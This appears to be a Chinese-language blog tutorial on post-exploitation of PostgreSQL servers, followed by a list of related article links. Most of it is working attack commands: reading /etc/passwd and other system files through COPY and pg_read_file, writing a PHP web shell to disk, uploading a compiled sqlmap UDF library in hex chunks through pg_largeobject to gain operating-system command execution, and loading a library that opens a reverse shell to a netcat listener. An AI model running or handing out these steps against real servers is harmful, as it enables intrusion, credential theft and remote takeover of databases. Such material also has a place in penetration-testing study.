postgresql資料庫利用方式
PostgreSQL 是一個自由的物件-關聯式資料庫伺服器(資料庫管理系統),本文對於postgresql的使用及利用做個總結備份。
測試系統:kali
基本使用
在root許可權下修改資料庫密碼:
service postgresql start #啟動服務
su postgres #切換到資料庫使用者下
psql postgres #進入資料庫
alter user postgres with password 'postgres'; #修改資料庫的密碼為:postgres
在其他使用者許可權下,使用帳號密碼登入系統:
psql -h 127.0.0.1 -U postgres -W
進入資料庫檢視幫助資訊:
help
\h
\?
檢視資料中的資訊
列出資料庫
\l
列出資料庫的使用者
\du
使用資料庫獲取系統資訊
列出系統目錄列表:
select pg_ls_dir('/etc');
讀取系統檔案:
select pg_read_file('postgresql.auto.conf', 0, 200);
drop table pwn;
CREATE TABLE pwn(t TEXT);
COPY pwn FROM '/etc/passwd';
SELECT * FROM pwn limit 1 offset 0;
DROP table pwn;
寫檔案
DROP TABLE pwn;
CREATE TABLE pwn (t TEXT);
INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');
SELECT * FROM pwn;
COPY pwn(t) TO '/tmp/cmd.php';
DROP TABLE pwn;
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
使用資料庫執行系統命令
執行系統命令需要用到udf庫,下面測試一下
獲取原始碼:
git clone https://github.com/sqlmapproject/udfhack/
編譯原始碼(資料庫版本:9.6)
cd udfhack/linux/64/lib_postgresqludf_sys
apt-get install postgresql-server-dev-9.6
gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so
strip -sx udf64.so
上傳獲取到的udf64.so上傳到伺服器
將udf64.so轉為hex,我自己寫了一個轉換小指令碼,如下:
將以上程式碼儲存為bin2hex.py,然後使用如下命令轉換:
python bin2hex.py udf64.so
上傳,將上面得到的hex值傳入下面的語句中執行:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));
直接將所有內容全部寫入會報錯,如下:
實際上,閱讀官方文件可知,寫的檔案每一頁不能超過 2KB,所以我們要把資料分段,稍微修改一下程式碼,如下:
這樣分成多個段進行寫入,就可以成功寫入,使用如下命令:
SELECT lo_create(11111);
INSERT INTO pg_largeobject VALUES (11111, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (11111, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (11111, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (11111, 3, decode('0000000...7400', 'hex'));
.....
SELECT lo_export(11111, '/tmp/test.so');
SELECT lo_unlink(11111);
建立Postgresql功能
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
使用sys_exec執行命令:
SELECT sys_exec('id'); #無回顯
SELECT sys_eval('id'); #有回顯
反彈shell
這個跟udf的那個類似,唯一的不同就是使用的庫不同,使用如下程式碼:
編譯程式碼:
gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so
strip -sx nc.so
建立功能:
CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/nc.so', 'exec' LANGUAGE C STRICT;
在kali上監聽4444埠:
nc -vv -l -p 4444
執行功能:
SELECT exec();
結果如圖:
總結
本文主要講述了關於postgresql資料庫的使用以及在得到一個資料庫許可權之後,利用這個資料庫可以做什麼,怎麼做進行了測試,在這裡給大家做個參考,歡迎大家留言討論。
相關文章
- postgresql 資料庫基本操作SQL資料庫
- 資料庫_SQL-PostgreSQL資料庫SQL
- postgresql 資料庫基本管理SQL資料庫
- PostgreSQL-資料庫命令SQL資料庫
- Rust 連線 PostgreSQL 資料庫RustSQL資料庫
- PostgreSQL:資料庫的選擇SQL資料庫
- PostgreSQL關係型資料庫SQL資料庫
- postgresql資料庫鎖介紹SQL資料庫
- postgresql資料庫初始化SQL資料庫
- PostgreSQL 資料庫學習 - 0. 資料庫安裝SQL資料庫
- 利用反射讀取資料庫資料反射資料庫
- Postgresql10資料庫之更改資料庫的名稱SQL資料庫
- PostgreSQL:資料庫連結測試SQL資料庫
- MySQL和PostgreSQL資料庫安全配置MySql資料庫
- postgresql資料庫怎麼備份SQL資料庫
- 1. PostgreSQL 資料庫安裝SQL資料庫
- PostgreSQL:表空間-->資料庫-->表SQL資料庫
- postgresql資料庫常用命令SQL資料庫
- 資料庫比較 PostgreSQL vs MongoDB資料庫SQLMongoDB
- EF Core連線PostgreSQL資料庫SQL資料庫
- RuoYi-Cloud整合PostgreSQL資料庫CloudSQL資料庫
- 利用拷貝data目錄檔案的方式遷移mysql資料庫MySql資料庫
- ETL資料整合丨PostgreSQL資料遷移至Hive資料庫SQLHive資料庫
- 利用RMAN建立STANDBY資料庫資料庫
- 如何保護PostgreSQL資料庫安全? | goteleportSQL資料庫Go
- 【PG管理】postgresql資料庫管理相關SQL資料庫
- postgresql備份與恢復資料庫SQL資料庫
- PostgreSQL:資料庫的建立與刪除SQL資料庫
- Oracle & MySQL & PostgreSQL資料庫恢復支援OracleMySql資料庫
- Spring Boot中使用PostgreSQL資料庫Spring BootSQL資料庫
- PostgreSQL資料庫連線保持設定SQL資料庫
- postgresql資料庫重要引數說明SQL資料庫
- 備份和恢復postgreSQL資料庫SQL資料庫
- PostgreSQL學習手冊(資料庫管理)SQL資料庫
- 安裝PostgreSQL資料庫(Linux篇)SQL資料庫Linux
- oracle Mysql PostgreSQL 資料庫的對比OracleMySql資料庫
- 資料庫複製方式進行資料庫恢復資料庫
- Greenplum,PostgreSQL資料實時訂閱的幾種方式SQL